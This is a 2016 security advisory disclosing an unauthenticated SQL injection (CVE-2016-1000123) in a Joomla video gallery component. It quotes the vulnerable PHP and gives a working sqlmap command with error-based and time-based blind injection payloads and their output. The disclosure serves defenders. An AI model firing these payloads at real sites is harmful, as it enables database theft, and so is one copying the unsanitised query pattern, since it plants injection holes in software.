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Unauthenticated SQL Injection in Huge-IT Video Gallery v1.0.9 for Joomla



Title: Unauthenticated SQL Injection in Huge-IT Video Gallery v1.0.9 for Joomla
Author: Larry W. Cashdollar, @_larry0
Date: 2016-09-15
Download Site: http://huge-it.com/joomla-video-gallery/
Vendor: www.huge-it.com, fixed v1.1.0
Vendor Notified: 2016-09-17
Vendor Contact: info@xxxxxxxxxxx
Description: A video slideshow gallery.
Vulnerability:
The following code does not prevent an unauthenticated user from injecting SQL into functions located in ajax_url.php. 

Vulnerable Code in : ajax_url.php

 11 define('_JEXEC',1);
 12 defined('_JEXEC') or die('Restircted access');
.
.
.
 28         if($_POST['task']=="load_videos_content"){
 29 
 30             $page = 1;
 31 
 32 
 33             if(!empty($_POST["page"]) && is_numeric($_POST['page']) && $_POST['page']>0){
 34                 $paramssld='';
 35                 $db5 = JFactory::getDBO();
 36                 $query5 = $db->getQuery(true);
 37                 $query5->select('*');
 38                 $query5->from('#__huge_it_videogallery_params');
 39                 $db->setQuery($query5);
 40                 $options_params = $db5->loadObjectList();
 41                 foreach ($options_params as $rowpar) {
 42                     $key = $rowpar->name;
 43                     $value = $rowpar->value;
 44                     $paramssld[$key] = $value;
 45                 }
 46                 $page = $_POST["page"];
 47                 $num=$_POST['perpage'];
 48                 $start = $page * $num - $num;
 49                 $idofgallery=$_POST['galleryid'];
 50 
 51                 $query = $db->getQuery(true);
 52                 $query->select('*');
 53                 $query->from('#__huge_it_videogallery_videos');
 54                 $query->where('videogallery_id ='.$idofgallery);
 55                 $query ->order('#__huge_it_videogallery_videos.ordering asc');
 56                 $db->setQuery($query,$start,$num);

CVE-2016-1000123
Exploit Code:
	• $ sqlmap -u 'http://example.com/components/com_videogallerylite/ajax_url.php' --data="page=1&galleryid=*&task=load_videos_content&perpage=20&linkbutton=2"  --level=5 --risk=3
	• .
	• .
	• .
	• (custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
	• sqlmap identified the following injection point(s) with a total of 2870 HTTP(s) requests:
	• ---
	• Parameter: #1* ((custom) POST)
	•     Type: error-based
	•     Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
	•     Payload: page=1&galleryid=-3390 OR 1 GROUP BY CONCAT(0x716b766271,(SELECT (CASE WHEN (2575=2575) THEN 1 ELSE 0 END)),0x7170767071,FLOOR(RAND(0)*2)) HAVING MIN(0)#&task=load_videos_content&perpage=20&linkbutton=2
	•  
	•     Type: AND/OR time-based blind
	•     Title: MySQL >= 5.0.12 time-based blind - Parameter replace
	•     Payload: page=1&galleryid=(CASE WHEN (5952=5952) THEN SLEEP(5) ELSE 5952 END)&task=load_videos_content&perpage=20&linkbutton=2
	• ---
	• [19:36:55] [INFO] the back-end DBMS is MySQL
	• web server operating system: Linux Debian 8.0 (jessie)
	• web application technology: Apache 2.4.10
	• back-end DBMS: MySQL >= 5.0.12
	• [19:36:55] [WARNING] HTTP error codes detected during run:
	• 500 (Internal Server Error) - 2714 times
	• [19:36:55] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/192.168.0.4'
	•  
	• [*] shutting down at 19:36:55
Advisory: http://www.vapidlabs.com/advisory.php?v=169